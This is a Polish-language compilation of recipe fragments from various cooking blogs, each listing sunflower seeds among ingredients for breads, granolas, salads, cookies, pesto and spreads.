mąki jaglanej 100 g mąki z bezglutenowych płatków owsianych 30 g kakao 70 g mąki ziemniaczanej 10 g zmielonego siemienia lnianego 50 g zmielonych na mąkę ziaren słonecznika (następnym razem pominę) 400 g aquababy (wody z puszki po ciecierzycy/gotowaniu ciecierzycy lub innych strączkowych, zredukowana do gęstego „żelującego płynu) 2 łyżeczki bezglutenowego proszku do pieczenia 75 g ksylitolu Dno tortownicy

kaszy jaglanej  - 1 łyżeczka oleju kokosowego  - 2 banany  - 3 łyżki kakao  - 5 łyżek płatków owsianych  - 2 jajka  - garść orzechów włoskich  - 2 łyżki słonecznika  - sezam do posypania  Przygotowanie: Płatki owsiane mielimy na mąkę w młynku do kawy. Kaszę jaglaną dobrze płuczemy, następnie gotujemy. Do gorącej dodajemy olej kokosowy, zostawiamy do przestudzenia. Orzechy

Szklimy do odparowania wody. Cukinie dobrze myjemy - ja myje w eko płynie do mycia naczyń. Przecinamy na pół, wydrazamy. Układamy na blasze wyłożonym papierem do pieczenia. Do cebuli dodajemy Słonecznik i delikatnie prazymy, często mieszając. Dodajemy koncentrat plus 200 ml wody, wydrazone części cukini, czosnek przecisniety przez praske, marchew i pietruszkę potarte na tarce na dużych oczkach. Chwilę dusimy. Dodajemy

Składniki : - 2 jajka  - mała gruszka lub pół dużej  - pół szklanki słonecznika - zmielone - 3 łyżki płatków owsianych - zmielone  Przygotowanie : Jajka ubijamy. Dodajemy pozostałe składniki.  Miksujemy. Nakładamy do silikonowych foremek.  Wstawiamy do piekarnika nagrzanego na 200 stopni.  Pieczemy 15 minut

Składniki: - 4 jaja - 4 dojrzałe banany - 4 łyżki mąki żytniej - 4 łyżki słonecznika - zmielić w młynku do kawy - 2 łyżki mąki z orzechów arachidowych  prażonych (można zmielić orzechy) Przygotowanie: Jaja ubijamy. Dodajemy banan pokrojony w plasterki i miksujemy do osiągnięcia gładkiej masy. Dodajemy pozostałe składniki, miksujemy. Ciasto wykładamy do silikonowej foremki. Wstawiamy do piekarnika nagrzanego na 150 stopni

łyżek płatków owsianych górskich – 10 łyżek płatków jaglanych – 4 łyżki ziaren sezamu – 4 łyżki siemienia lnianego – 3 łyżki pestek dyni – 3 łyżki nasion słonecznika – 2 łyżki orzechów włoskich pokruszonych na mniejsze kawałki – 2 łyżki suszonej żurawiny – sok z połówki cytryny – 5 łyżek miodu – 2 łyżki oleju kokosowego nierafinowanego Przygotowanie

niej palca nie może parzyć) 1 płaska łyżeczka soli 1 łyżka świeżo zmielonego siemienia lnianego 1 łyżka siemienia lnianego w ziarenkach 2 łyżki pestek dyni (opcjonalnie) 2 łyżki nasion słonecznika (opcjonalnie) 1 łyżka nasion chia (opcjonalnie) Przygotowanie 1 Kaszę jaglaną przelewam wrzątkiem i płuczę w misce z zimną wodą 2-3 razy aż woda będzie czysta i odsączam. 2 Kaszę

wykonania domowego masła orzechowego: 300 g orzechów ziemnych, 100 g orzechów laskowych, przyprawa korzenna do piernika, sól 200 g orzechów ziemnych, 100 g nerkowców, 100 g słonecznika, sól 300 g orzechów ziemnych, 100 g migdałów, kakao, sól 400 g pistacji, sól Możesz także drobno posiekać część orzechów i wymieszać je z gotowym masłem. Jeśli przyrządzisz domowe masło

granolę zrobiłam w wersji jesiennej z puree dyniowym. 100 g płatków orkiszowych pełnoziarnistych 100 g płatków żytnich pełnoziarnistych 100 g płatków owsianych 50 g siemienia lnianego 50 g słonecznika 50 g pestek dyni 50 g rodzynek 3/4 szkl. puree z dyni 3 łyżki miodu Wymieszać ze sobą wszystkie składniki,rozłożyć na dużej blaszce na papierze do pieczenia. Piekarnik rozgrzać

daktylami. Składniki: 1 puszka słodzonego mleka kondensowanego 200 g płatków owsianych 100 g kokosu 50 g rodzynek 50 g żurawiny 150 g dowolnych nasion (ja dałam: len, sezam i słonecznik) 50 g orzechów (u mnie nerkowca) 50 g ryżu dmuchanego (ja dałam dmuchaną kaszę jaglaną – nie ma większego znaczenia które dacie, ważne, żeby fajnie chrupało) Chyba jeszcze nigdy napisanie

chleb razowy na zakwasie 360 g zakwasu żytniego 150 g mąki jaglanej 100 g mąki orkiszowej razowej 200 g mąki żytniej razowej 2 łyżki nasion chia 2 łyżki nasion słonecznika 1 łyżka błonnika witalnego 300 g wody 1 łyżka soli 1 łyżka oliwy Zakwas wymieszać z wodą, solą i oliwą. W osobnej misce połączyć mąkę z pozostałymi suchymi składnikami. Dodać

względu na zawartość gamma-oryzanolu, która działa antyoksydacyjnie na komórki mięśniowe i wątrobowe podczas intensywnego wysiłku fizycznego. SKŁADNIKI: garść rukoli pomidor gruszka kilka orzechów włoskich garść uprażonych pestek słonecznika świeżo mielona sól i pieprz łyżka oleju ryżowego SPOSÓB PRZYGOTOWANIA: Ilość składników dobieramy według uznania. Doprawiamy solą i pieprzem, a następnie skrapiamy olejem ryżowym. Sałatka bardzo dobrze smakuje w połączeniu

szklanka mąki orkiszowej 1 ½ łyżeczki proszku do pieczenia 5 łyżek syropu klonowego 1/3 szklanki oleju (u mnie olej arachidowy) 1 łyżka nasion chia 1 łyżka siemienia lnianego 1 łyżka słonecznika łuskanego 2 łyżki pestek dyni ½ – 1 łyżeczkę soli Przygotowanie: Cukinie obrać i zetrzeć na tarce z grubymi oczkami do dużej miski. Posolić i odstawić na 10 minut, aż puści

dodatkowo przemawia za jej walorami zdrowotnymi i smakowymi. SKŁADNIKI 600 g mąki orkiszowej jasnej typ 650 400 g mąki orkiszowej graham typ 1850 200 g mieszanych ziaren (np. słonecznik, pestki dyni, siemię lniane) 20 g soli 600 ml wody 25 g świeżych drożdży dodatkowo: płatki owsiane lub inne do posypania WYKONANIE Do niewielkiej miseczki wlać 100 ml wody, rozkruszyć drożdże

niej palca nie może parzyć) 1 płaska łyżeczka soli 1 łyżka świeżo zmielonego siemienia lnianego 1 łyżka siemienia lnianego w ziarenkach 2 łyżki pestek dyni (opcjonalnie) 2 łyżki nasion słonecznika (opcjonalnie) 1 łyżka nasion chia (opcjonalnie) Przygotowanie 1 Kaszę jaglaną przelewam wrzątkiem i płuczę w misce z zimną wodą 2-3 razy aż woda będzie czysta. 2 Kaszę jaglaną umieszczam

opakowanie drożdży suchych (7g)     70g płatków błyskawicznych/otrąb (u mnie płatki jaglane )     3 łyżki nasion/pestek (u mnie pestki słonecznika )     2 łyżki soli (płaskie)     1 łyżka cukru (płaska)     1 łyżeczka octu spirytusowego 10%     500 ml ciepłej wody Składniki sypkie połączyć w dużej

czubatej) miodu lub innego cukru (jako pożywka dla drożdży), 40-50g drożdzy, ok. 5 szklanek lekko ciepłej wody, opcjonalnie ziarna – do ciasta lub po wierzchu przed pieczeniem: słonecznik, dynia, czarnuszka czy siemię lniane. Chleb według tej proporcji posiada lekką nutę goryczy w smaku,co dla mnie jest jego ogromną zaletą. Ten smak idealnie pasuje do kanapek z wędliną

uruchamiają się wałki i olej zaczyna się tłoczyć. Olej leci do specjalnego pojemniczka przelatując wcześniej przez sito, a wytłoki wpadają do pojemnika obok. Tyle! WYDAJNOŚĆ: Z 1 kg pestek słonecznika wychodzi ok. 0,4 l oleju, a z wytłoków, które po wysuszeniu zmieliłam na ok. 350 g mąki. PODSUMOWANIA /WRAŻENIA OGÓLNE Przyznaję, że była, trochę sceptycznie nastawiona do tego

chlebek w części pełnoziarnisty i zdrowszy. Do naszej masy możemy dodać dodatki: osobiście lubię wersję ziołową. Inne możliwości to dodatek zeszklonej na patelni cebulki, mielone siemię lniane lub nasiona słonecznika (nasiona możemy dodawać do ciasta lub posypać nimi wierzch) itp. W zależności od upodobań. Jeżeli decydujemy się na dodatek mielonego lnu, możemy odrobinę zwiększyć ilość wody aby chlebek nie wyszedł

zdrowych składników. Wygrywa za wszystkimi sklepowymi odpowiednikami. Spróbujcie również granoli z rabarbarem oraz granoli orzechowej . Składniki: – 200g płatków owsianych (bezglutenowych) – 2 jabłka – 60g sezamu – 60g słonecznika – 2-3 łyżki miodu/syropu klonowego – garść płatków migdałowych – garść nerkowców – garść orzechów włoskich – garść orzeszków ziemnych – 1 łyżeczka cynamonu – szczypta soli Jabłka ścieramy

jako dodatek do jogurtu, kefiru czy sałatki owocowej.  Składniki: 1,5 szklanki płatków gryczanych błyskawicznych 3/4 szklanki orzechów laskowych (100 g) 1/3 szklanki jasnego sezamu 1/3 szklanki ziaren słonecznika 1/3 szklanki płatków kokosowych 1/2 szklanki rodzynek 3 łyżki gorzkiej herbaty 3 łyżki płynnego miodu sok z 1 cytryny Wszystkie sypkie składniki (oprócz rodzynek!) wsypać do miski. Miód, herbatę

sztuk (1 szt. 170 kcal) Składniki: 200 ml mleka zagęszczonego słodzonego w puszce 120 g płatków owsianych górskich 45 g wiórków kokosowych 50 g żurawiny suszonej 20 g słonecznika łuskanego 20 g pestek dyni 20 g sezamu Przygotowanie: Mleko lekko podgrzać w garnku. W wysokim naczyniu wymieszać wszystkie składniki, dodać mleko i wymieszać. Masę przełożyć

Składniki na 1 foremkę keksową: 1 szklanka płatków gryczanych (125 g) 1,5 szklanki płatków owsianych błyskawicznych (175 g) 1 szklanka nasion (np. sezam jasny/ciemny, pestki dyni, ziarna słonecznika) 500 g jogurtu naturalnego (ponad 1 duże opakowanie!) 1 łyżeczka sody oczyszczonej 1 łyżeczka miodu szczypta soli Wszystkie sypkie składniki przesypać do miski. Następnie wlać jogurt oraz miód. Za pomocą łyżki

potem przenosimy do temperatury pokojowej. Łączny czas fermentacji zaczynu 18-24 godziny (u mnie 22 godziny wymuszone pracą). Ziarna (zaparzamy przez 2-3 godziny, przed robieniem ciasta) 25 g słonecznik 25 g sezam 25 g siemię lniane 150 g woda wrzątek Ziarna zalewamy wrzącą wodą, przykrywamy, zostawiamy na 2-3 godziny. Ciasto właściwe (wyrastanie 45 minut w misce

chleby*: 3 i 1/3 szklanki mąki pszennej (500 g) 2 szklanki letniej wody  1/4 kostki świeżych drożdży (25 g) 4 łyżki płatków owsianych (45 g) 4 łyżki ziaren słonecznika (50 g) 5 łyżek siemienia lnianego (50 g) 1 łyżka zwykłego cukru 1 łyżeczka soli *chleby przygotowałam w dwóch podłużnych foremkach (o średniej długości) Drożdże pokruszyć do miseczki i zasypać

nasion chia i siemienia lnianego. To one scalają wszystkie ziarna w chlebie. Łatwy, super zdrowy przepis. Polecam! Składniki: 120 g płatków owsianych 90 g siemienia lnianego 150 g nasion słonecznika 60 g migdałów 40 g orzechów laskowych 35 g nasion chia 3 łyżki oliwy/oleju kokosowego 400 ml wody 1/3 łyżeczki soli 1 łyżka ksylitolu/miodu Wykonanie: wszystkie suche składniki odważyć

górskich płatków owsianych ¾ szklanki cukru 200 g roztopionego masła 2 jajka 1 łyżeczka sody oczyszczonej lub proszku do pieczenia 1 garść rodzynek ½ szklanki orzechów ziemnych (lub innych) ½ szklanki ziaren słonecznika Piekarnik nagrzej do 160°C. Blachę z piekarnika wyłóż folią aluminiową lub pergaminem. Umieść w misce wszystkie składniki, dokładnie wymieszaj, najlepiej rękami. Formuj małe ciastka i je spłaszczaj

użyłam takich składników jakie akurat mam w swojej kuchni,to i tak efekt końcowy zadowalający. Chlebek wyszedł smaczny,bardzo wilgotny,przepełniony zdrowymi nasionkami.    1 szkl. ziaren słonecznika 3/4 szkl. siemienia lnianego 1/2 szkl. płatków jaglanych 1/2 szkl. płatków orkiszowych pełnoziarnistych 1 szkl. płatków owsianych 1/2 szkl. pestek dyni 1/2 szkl. posiekanych orzechów (dałam lasko we) 2 łyżki nasion

koktajl, równie pyszny. Jagodowy – zdrowy, szybki i sycący. Polecam, zachęcam, zapraszam! SKŁADNIKI: 300ml jogurtu naturalnego 5 dużych łyżek jagód 1 duża łyżka otrębów owsianych 1 duża łyżka nasion słonecznika 1 mała łyżeczka cynamonu 1 duża łyżka miodu PRZYGOTOWANIE: Blendujemy i gotowe! Smacznego

kokosowych, jeśli lubicie bardziej intensywny smak lub kawałki czekolady, aby granola była słodsza. Czas wykonania: 1 h Ilość porcji: 7 pocji Składniki: 120 g płatków owsianych 3 łyżki łuskanego słonecznika 80 g wiórków kokosowych 1 łyżeczka miodu 14 łyżek mleka kokosowego (około 100 – 130 ml) Przygotowanie: Połowę (60 g) płatków owsianych zmielić w blenderze. Wymieszać wszystkie suche składniki

Składniki:  2 porcje pół opakowania miksu sałat z rukolą  10 pomidorków koktajlowych ser żółty (koniecznie dobrej jakości) 3 łyżki pestek słonecznika 3 łyżki pestek dyni mała bagietka masło sos: 4 łyżki oliwy z oliwek ząbek czosnku łyżeczka miodu  łyżka soku z cytryny sól pieprz tymianek bazylia oregano   Czosnek przeciskamy przez praskę, wrzucamy do odmierzonej oliwy

Sałatka Składniki: makaron z brązowego ryżu makaron z czerwonej soczewicy pierś z indyka avocado szpinak rukola sałata prażony słonecznik olej lniany olej dyniowy oliwa z oliwek (do podsmażenia indyka) sól

orzechów ziemnych (250 g w łupince) 1 ½ szklanki płatków owsianych (200 g) 2/3 szklanki kokosu (60 g) 2/3 szklanki żurawiny (100 g) 2 łyżki pestek dyni 4 łyżki słonecznika łuskanego 6 łyżek sezamu 3 łyżki oliwy lub oleju (u mnie olej lniany) 3 łyżki miodu 3 łyżki jogurtu greckiego 2 niewielkie banany (300 g) Przygotowanie: Fistaszki obrać. Obrane orzechy

ręką i sałatka gotowa. Szybko,smacznie i zdrowo.    1 op. mieszanki sałat  2 pomidory  1 świeży ogórek 2 łyżki mieszanki ziaren (sezam biały i czarny,słonecznik,pestki dyni) 2 łyżki oliwy z oliwek 1 łyżeczka soku z cytryny 1 łyżeczka mieszanki ziół do sałatek Do miski wsypać mieszankę sałat. Ogórka i pomidory obrać ze skórki,pokroić

zakwasie żytnim z mąką jaglaną i ryżową 120 g mąki z brązowego ryżu 180 g mąki jaglanej 175 g mąki żytniej razowej 3 łyżki płatków jaglanych 3 łyżki słonecznika 2 łyżki pestek dyni 1 łyżka siemienia lnianego złocistego 350 g zakwasu żytniego 300 g ciepłej wody 1 łyżka soli 1 łyżka oliwy Zakwas wymieszać z wodą, solą i oliwą

porcji: 1 bochenek (1,2 kg) Składniki: 215 g mąki żytniej 270 g mąki gryczanej 115 g razowej żytniej 50 g siemię lniane 50 g pestek dyni 50 g słonecznika 50 g płatków owsianych 50 g otrębów pszennych 2 łyżeczki soli 1 łyżka oleju 2 szklanki wody zakwas: 10 g drożdży 125 ml letniej wody Przygotowanie: Zakwas: Drożdże wymieszać

łyżki jogurtu naturalnego wymieszaj z startym korzeniem imbiru ,(około 2 łyżeczki już startego). Polej po owocach.  Na wierzch jogurtu z imbirem dodaj po łyżce miodu . Posyp świeżo prażonym słonecznikiem i jeżeli lubisz czerwonym pieprzem w ziarenkach, który jest tylko delikatnie ostry. Deser dla 2 osób. SMACZNEGO. CMOK

oraz śmiało możemy zmieniać proporcje składników w zależności od naszych upodobań. Do dzieła! Składniki: – 200g mleka skondensowanego niesłodzonego – 100g płatków owsianych (bezglutenowe) – 100g sezamu – 100g słonecznika – 45g orzechów nerkowca – 45g orzechów włoskich – 45g orzeszków ziemnych – 45g migdałów – 25g rodzynek – 25g suszonych moreli – 2-3 łyżki miodu/syropu klonowego (zazwyczaj daję

składniki: 600g. mąki 400g. margaryny 200g. cukru pudru 100g. ziaren słonecznika 2 łyżeczki mielonego siemienia lnianego Z podanych składników zagnieść jednolite ciasto, zawinąć w folię i odłożyć do lodówki na min. 30 minut. Ciasto rozwałkować na grubość ok. 4-5 milimetrów, wyciąć dowolne kształty ciasteczek. Piec na blaszce wyłożonej pergaminem na jasno złoty kolor ( ok. 12-15min) w temp

płatków orkiszowych 1/2 szklanki płatków Corn Flakes Lubella 1 duży banan 1 łyżka miodu garść żurawiny garść orzechów (mogą być laskowe, włoskie, migdały itp) 2 łyżki rodzynek 2 łyżki słonecznika łyżeczka przyprawy do piernika Banana rozgniatamy widelcem na gładką masę. Dodajemy miód i przyprawę do piernika - mieszamy. Wrzucamy wszystkie pozostałe składniki. Blaszkę ,,keksówkę" wykładamy papierem do pieczenia i wykładamy masę

śledzie i wędliny śniadania, a potem suty obiad, koniecznie z wyjątkowym daniem mięsnym w roli głównej. Ja patrzę na […] Artykuł Lekkie święta: pieczeń rzymska z żurawiną i słonecznikiem pochodzi z serwisu Wiszniówka

takie niepozorne ciasteczka, zdrowsze od sklepowych, bez cukru, mocno bakaliowe idealne do kawki, czy do pochrupania w pracy. Uwaga, uzależniają :) Składniki: 3 szklanki płatków pełne ziarno Lubella garść ziaren słonecznika garść orzechów włoskich (mogą być dowolne inne) garść suszonej żurawiny garść siemienia lnianego 3 łyżki miodu 2 łyżki masła 2 banany Płatki odrobinę ugniatamy, a następnie mieszamy ze sobą wszystkie

nieduże keksówki o wymiarach ok. 24 cm x 11 cm (mierzone u góry). Ja piekłam z połowy składników z wyjątkiem pestek dyni, których dodałam więcej i połączyłam z nasionami słonecznika.   Składniki : Zaczyn 115 g aktywnego zakwasu żytniego (dokarmionego 24 godz. wcześniej) 375 g mąki żytniej 720 300 g wody Ciasto chlebowe cały zaczyn 485 g mąki żytniej

Dzisiaj obchodzimy Światowy Dzień Makaronu. Przedstawiam wam więc jeden z moich ulubionych sosów do niego. Moje pesto jest jedną z popularnych wersji pesto bazyliowego. Orzeszki pinii zastępuję ziarnami słonecznika. Też smaczne, ale znacznie tańsze i łatwiej dostępne u nas. Można je również wykorzystać jako dodatek do wielu innych potraw. pęczek / doniczka bazylii

Taka mała słodka przekąska Zrobiłam dwa rodzaje pralinek,jedne z białej masy,drugie z kakaowej. Do obtoczenia użyłam wiórek kokosowych,prażonego słonecznika i mielonych orzechów włoskich.  masa biała: 1 szkl. mleka w proszku 2 łyżki cukru trzcinowego 80 g masła 3 łyżki wody 2 łyżki suszonej żurawiny 2 łyżki posiekanych suszonych daktyli W rondelku roztopić masło i cukier,dodać

formę 28 na 18 cm: 200 g płatków owsianych drobnych (u mnie błyskawiczne) 10 szt suszonych moreli (drobno pokrojonych) 100 g mieszanki studenckiej (orzechów i bakalii) 60 g ziaren słonecznika 3 łyżki mielonego siemienia lnianego szczypta soli 1 łyżka soku z cytryny 75 g syropu z Agawy lub miodu lub innego syropu słodzącego u mnie melasa z buraka cukrowego plus

cukru brązowego 50g miodu (płynnego) 50g syropu klonowego (można zamienić na miód)  250g otrębów osianych (mogą być płatki) 50g wiórek kokosowych  25g pestek dyni 25g pestek słonecznika 80g suszonych owoców (u mnie morele, rodzynki i żurawina) Dodatkowo: plastry jabłek suszonych  Na głębokiej patelni (uw. w rondelku) rozpuścić masło, cukier, miód oraz syrop klonowy.  Następnie dodać resztę

przyjdzie, dlatego warto mieć w swoich zapasach suszone owoce, które w przeciwieństwie do czekolady i batoników nie zawierają pustych kalorii. suszone śliwki morele żurawina rodzynki lekko prażone migdały pestki słonecznika i dyni. Regularność posiłków. Regularność posiłków ma znaczenie, dlatego nie rezygnujmy z wypracowanego latem systemu. Spożywanie 4-5 posiłków dziennie, wyeliminuje znane każdemu podjadanie, które bez wątpienia jest oznaką nieodpowiednio

wody. Ciasto chlebowe: 300 g mąki pszennej Grahama (typ 1850); 300 g mąki pszennej (u mnie typ 650); 500 g letniej, przegotowanej wody; 20 g soli; 60 g ziaren słonecznika; 40 g pestek dyni; 30 g ziaren siemienia lnianego. Dodatkowo: Masło do wysmarowania keksówki. Sposób przygotowania: W misce (u mnie od robota kuchennego) wymieszać ze sobą (łyżką lub mikserem przy

posmakuje.   Składniki: 1 słoik selera konserwowego 200 g wędliny np. schabu lub szynki 1 puszka kukurydzy 1 czerwona cebula 1 słoik olewek nadzianych czosnkiem 3 garście prażonego słonecznika ok. 100 g ciecierzycy z zalewy (z puszki lub słoika) 1 papryczka chili (opcjonalnie) 1 op. jogurtu naturalnego 2 łyżki ketchupu op. czosnku granulowanego sól , pieprz do smaku Wykonanie: Składniki pochodzące

tylko smaczne i bogate w witaminy warzywo. Posiada właściwości lecznicze, enzym, który zapobiega rakowi. Dlatego warto jeść go na surowo. Składniki 280 g brokuła 70 g ziaren słonecznika 20- 30 g parmezanu 1 ząbek czosnku ok. 120 … Czytaj dalej

wypróbowania tego przepisu! Czas przygotowania: 5 minut + czas na gotowanie buraków (około 30 minut) Ilość porcji: 2 Składniki: 2 buraki* Ok. 50 g sera feta Garść prażonych nasion słonecznika (można zastąpić pestkami dyni) Opcjonalnie rukola (można ją pominąć jednak stanowi fajny dodatek kolorystyczny) Łyżka oleju rzepakowego *Jeśli uda nam się kupić buraka w różnych odmianach kolorystycznych to zachęcam do takiego

Ciecierzyca często stanowi bazę past kanapkowych, które robię. Zarówno tych na słono jak i na słodko. Dziś prezentuję wersję urozmaiconą o prażone ziarna słonecznika, koperek oraz musztardę. Czytaj więcej

szklanki płatków żytnich 2 łyżeczki miodu 1 łyżka masła orzechowego 1 łyżeczka oleju kokosowego 1 miarka odżywki białkowej o dowolnym smaku 1/2 szklanki suszonej żurawiny 1/2 szklanki nasion słonecznika 1/2 szklanki mleka roślinnego lub zwykłego Płatki wsypać do miski. Miód i olej rozpuścić, dodać masło orzechowe i wymieszać. Połączyć z resztą składników. Wymieszać dokładnie. Masę przełożyć do keksówki wyłożonej papierem

bloga Kuchnia Gucia . Dziękuję - świetny wybór! :) Składniki (na keksówkę): 400 g zakwasu żytniego 130 g pełnoziarnistej mąki orkiszowej 70 g wody 8 g soli 200 g namoczonych nasion słonecznika (120 g łamanego żyta i 80 g wody); w oryginale: ziarno żyta 60 g suszonych czarnych porzeczek (u mnie mocno wysuszone po nalewie na likier porzeczkowy 30 g rodzynków Drewnianą łyżką

szklanka porzeczek (użyłam mieszanki białych, czerwonych i czarnych) 2 łyżki ugotowanej kaszy jaglanej 2 łyżki płatków owsianych (lub żytnich) 1 łyżka otrębów (u mnie orkiszowe) 1 łyżka nasion słonecznika 1 łyżka wiórek kokosowych 1 łyżeczka miodu pół łyżeczki masła Umyte i przebrane porzeczki wysypujemy do foremki ceramicznej , ja je dodatkowo posypałam odrobiną cynamonu. Pozostałe składniki mieszamy ze sobą

miękkie i lekko wilgotne. Składniki (na ok. 35 ciastek): 400 ml płatków owsianych 400 ml wrzątku 400 ml amarantusa ekspandowanego 150 ml rodzynków 100 ml wrzątku 2 garści nasion słonecznika łycha masła orzechowego 250 g ricotty 3 łyżki lejącego miodu szczypta soli Płatki owsiane zalać 400 ml wrzątku. Odstawić do całkowitego wchłonięcia płynu. Rodzynki też zalać wrzątkiem i odsączyć

szklanki białego cukru 2 jajka 1 łyżeczka wanilii 1 1/2 szklanki mąki 1 łyżeczka sody 1 łyżeczka cynamonu 1/2 łyżeczki soli 3 szklanki płatków owsianych 1 szklanka bakalii - słonecznik, migdały, rodzynki, daktyle (pokrojone w kostkę), orzechy, czyli wszystko to, co macie pod ręką;) Sposób przygotowania: Masło i cukier utrzeć. Dodać jajka i wanilię - ubijać. Dodać mąkę, sodę, cynamon, sól - wymieszać

deser. Banalnie proste i niesamowicie interesujące w smaku. Bez sztucznych dodatków i ulepszaczy. Czy może być coś lepszego? Nie sądzę :) Składniki: - 200g mieszanki nasion i orzechów (u mnie: słonecznik, nerkowce i orzeszki ziemne) - 150g płatków owsianych (mogą być bezglutenowe) - 6 0g masła lub oleju kokosowego - 60g suszonego mango (i/lub rodzynek, daktyli, moreli..) - 50g siemienia lnianego - 1 jabłko - 1-2 łyżki

Składniki: 1 szklanka płatków owsianych 1 szklanka płatków żytnich 1/2 szklanki amarantusa 1/2 szklanki siemienia lnianego 50 g pestek słonecznika 30 g pestek dyni 25 g suszonych gruszek 25 g suszonych moreli 4 łyżki syropu z agawy 1/3 łyżeczki cynamonu 75 g suszonej żurawiny 120 g orzechów (migdały, brazylijskie, laskowe, nerkowca) 5 łyżek oleju W miseczce wymieszać olej z syropem

diecie i dla tych, którzy chcą spróbować czegoś nowego. Jednym słowem - dla każdego! Skusicie się...? Orzechowe ciastka z chia Składniki: (na 20 sztuk) 100 g chia 75 g ziaren słonecznika 75 g ziaren sezamu 50 g mielonych orzechów laskowych 250 ml ciepłej wody 1 łyżka miodu Wszystkie ziarna i orzechy wymieszać. Miód rozpuścić w wodzie, zalać nim mieszankę. Odstawić

więc pomyślałam, że warto je wykorzystać. Batony nie są niskokaloryczne, ale za to bardzo sycące i smaczne. Składniki : 250 g płatków orkiszowych 120 g suszonej żurawiny 120 g ziaren słonecznika 100 g sezamu 100 g orzechów laskowych 70 g pestek dyni 70 g wiórków kokosowych puszka mleka skondensowanego słodzonego Dodatkowo : miska, rondel i łyżka Sposób wykonania : W misce umieścić odmierzone

się na te buraczyska. Składniki na 10-12 sztuk: 2 szklanki (450 g) upieczonych lub ugotowanych buraków 1 cebula 2 ząbki czosnku 1½ szklanki ugotowanej kaszy jaglanej ½ szklanki uprażonego słonecznika ¼ szklanki uprażonego sezamu 2 łyżki chia 3 łyżki posiekanej natki pietruszki ½ łyżeczki mielonej kolendry ½ łyżeczki mielonego kuminu ½ łyżeczki pieprzu kajeńskiego (można dać mniej lub pominąć) 1 łyżeczka mielonej wędzonej papryki

Pesto z rukoli i bazylii z makaronem bezglutenowym Składniki: 1 szklanka listków świeżej bazylii 1 szklanka listków świeżej rukoli pół szklanki pestek słonecznika 1 ząbek czosnku 5-6 łyżek oliwy z oliwek pół szklanki wody sól Wszystkie składniki za pomocą blendera zmiksowałam na gładką masę. Jeśli sos jest zbyt gęsty, można dodać oliwy lub wody.  U nas sos gościł

laskowych, ziemnych (ja ze względów czysto ekonomicznych, czyt. nie chciało mi się iść na zakupy zużyłam resztę ziemnych niesolonych, tj. około 100 g, a pozostałe 100 g to był słonecznik) 400 g mąki pszennej (u mnie pół na pół biała i pełnoziarnista) 150 ml oleju roslinnego 100 g daktyli 1 banan łyżka esencji waniliowej (może też być cukier waniliowy) łyżeczka

inspiracja z książki Marty Dymek JADŁONOMIA. Pasta do pieczywa, jako przystawka, jak i na śniadanie lub kolację. Dodatek, który zastępuje rewelacyjnie masło. Namocz w zimnej wodzie półtorej szklanki słonecznika na noc lub godzinę w gorącej wodzie. Odcedź, przełóż do miski. Dodaj 8 sztuk  pokrojonego suszonego pomidora z oleju, 3 ząbki startego czosnku , sok z połowy cytryny  oraz garść

aktywnego zakwasu 400 g mąki razowej orkiszowej 400g mąki pszennej typ 650 750 --- 800ml letniej przegotowanej wody 1 – 1 1/2 łyżki soli 3/4 szkl pestek dyni 3/4 szkl.pestek słonecznika 1 szkl.otrąb pszennych pestki siemia lnianego ,lub mak do posypania Wykonanie Rano dokarmić zakwas 1 szklanką mąki żytniej ,lub razowej,oraz szklanka letniej wody. Dokładnie wymieszaać i odstawić w ciepłe

jedno jest pewne - są cholernie smaczne! Przepis bajecznie prosty, ale efekt w kubkach smakowych - piorunujący! SKŁADNIKI (na kilkanaście ciasteczek/czekoladek) 2 tabliczki czekolady (użyłam gorzkiej ze skórką pomarańczy) 1 opakowanie słonecznika łuskanego mleko (opcjonalnie) WYKONANIE W kąpieli wodnej rozpuszczamy

drożdży - 350 - 400 ml letniej wody - ilość zależy od mąki ,żytnia potrzebuje jej więcej - 10 g soli - 15 g miodu - 1 żółtko (białko do posmarowania ) - po 2 łyżki ziaren : słonecznik,dynia,sezam,mak,siemię lniane + po pół łyżki na mieszankę do posypania Sposób wykonania : Mąki wsypać do miski , drożdże ,miód i trochę wody wymieszać i wlać do mąki ,posypać odrobiną

smak chleba nabrał "głębi" :) następnym razem dołożę jeszcze kminek :) Składniki : - 1 kg mąki krupczatki - 50 g świeżych drożdży - 1 litr ciepłej wody - 6 łyżek siemienia lnianego - 6 łyżek ziaren słonecznika - 3 łyżki pestek dyni - 3 łyżki sezamu - 250 ml otrąb pszennych - 2 łyżki soli (płaskie) - 4 łyżki cukru trzcinowego (może być zwykły) Wszystkie składniki wrzucić do miski ,dolać wodę

samej żytniej, bo chleb będzie zbity i nie będzie puszysty, radzę zrobić pół na pół z pszenną (typ 2000). 3/4 szklanki płatków owsianych 3/4 szklanki siemienia lnianego 3/4 szklanki słonecznika lub pestek dyni 3/4 szklanki otrębów pszennych lub innych 3 płaskie łyżeczki soli 1 łyżka miodu 1 litr ciepłej przegotowanej wody (ok 40 st.C) 1 szklanki zaczynu z poprzedniego pieczenia

chlebowej) 150 gr mąki gryczanej 150 gr mąki żytniej typ 720 400 gr mąki pszennej razowej (typ 2000) 3/4 szklanki płatków owsianych 3/4 szklanki siemienia lnianego 3/4 szklanki słonecznika lub pestek dyni 3/4 szklanki otrębów pszennych lub innych 2 płaskie łyżeczki soli 1 łyżka miodu 1 litr ciepłej przegotowanej wody (ok 40 st.C) 1 szklanki zaczynu z poprzedniego pieczenia (jeżeli

miksujemy na krem (jeżeli jest z byt gęsta, dolewamy trochę przegotowanej wody - wszystko uzależnione od ilości użytej dyni), doprawiamy i podajemy z jogurtem/śmietanką, świeżym pieprzem, oliwą i/lub prażonym słonecznikiem. Smacznego

stosunku do przepisu Amber) 1 1/2 szklanki świeżo wyciśniętego soku z marchwi (u mnie ok. 1,5 kg marchwi) 3/4 szklanki rodzynek 3/4 szklanki mieszanki pestek dyni i słonecznika (w oryginale są orzechy włoskie, z których musiałam zrezygnować ze względu na alergię) 1 łyżka nasion kminku Wymieszać w misce mąkę, sól i drożdże. Dodać sok z marchwi. Wymieszaj drewnianą

drożdży 1 łyżeczka płynnego miodu 2-3 łyżki letniej wody 500 g jasnej mąki orkiszowej np. typ 630 2 łyżeczki soli 380-400 g letniej wody ok. 50 g słonecznika lub innych ziaren (2-3 łyżki mieszanki ziaren pozostawić do posypania chleba) 20 g siemienia lnianego 20 g sezamu Uwaga – w tym przepisie ciasto jest dość rzadkie i chleb rośnie

